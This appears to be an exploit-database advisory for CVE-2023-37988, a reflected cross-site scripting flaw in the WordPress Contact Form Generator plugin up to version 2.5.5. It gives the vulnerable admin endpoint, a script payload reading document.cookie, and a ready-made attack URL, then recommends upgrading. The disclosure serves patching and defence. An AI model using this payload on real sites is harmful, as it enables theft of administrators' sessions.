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WordPress Contact Form Generator 2.5.5 Cross Site Scripting
WordPress Contact Form Generator plugin version 2.5.5 suffers from a cross site scripting vulnerability.
# Exploit Title: WP Plugins Contact Form Generator 2.5.5 - Reflected Cross-Site Scripting# Date: 03-10-2023# Exploit Author: Arvandy# Software Link: https://wordpress.org/plugins/contact-form-generator/# Vendor Homepage: https://www.creative-solutions.net/# Version: 2.5.5 # Tested on: Windows, Linux# CVE: CVE-2023-37988# Product DescriptionContact Form Generator is a powerful contact form builder for WordPress! It is structured for creating Contact Forms, Application Forms, Reservation Forms, Survey Forms, Contact Data Pages and much more. You will get ready-to-use forms just after installation. Ref: https://wordpress.org/plugins/contact-form-generator/# Vulnerability overview:The Wordpress plugins Contact Form Generator (CFG) <= 2.5.5 is vulnerable to reflected cross-site scripting via the id parameter in the Edit Fields form. This vulnerability could allow an unauthenticated malicious actor to inject malicious scripts against high privilege users.# Proof of Concept:Affected Endpoint: /wp-admin/admin.php?page=cfg_fields&act=edit&id=Affected Parameters: idXSS Payload: "><script>alert(document.cookie)</script>xhttp://example.com/wp-admin/admin.php?page=cfg_fields&act=edit&id=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3Ex# RecommendationUpgrade to version 2.6.0
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CVE-2023-37988: WordPress Contact Form Generator plugin <= 2.5.5 - Reflected Cross Site Scripting (XSS) vulnerability - Patchstack
Unauth. Reflected Cross-Site Scripting (XSS) vulnerability in Creative Solutions Contact Form Generator plugin <= 2.5.5 versions.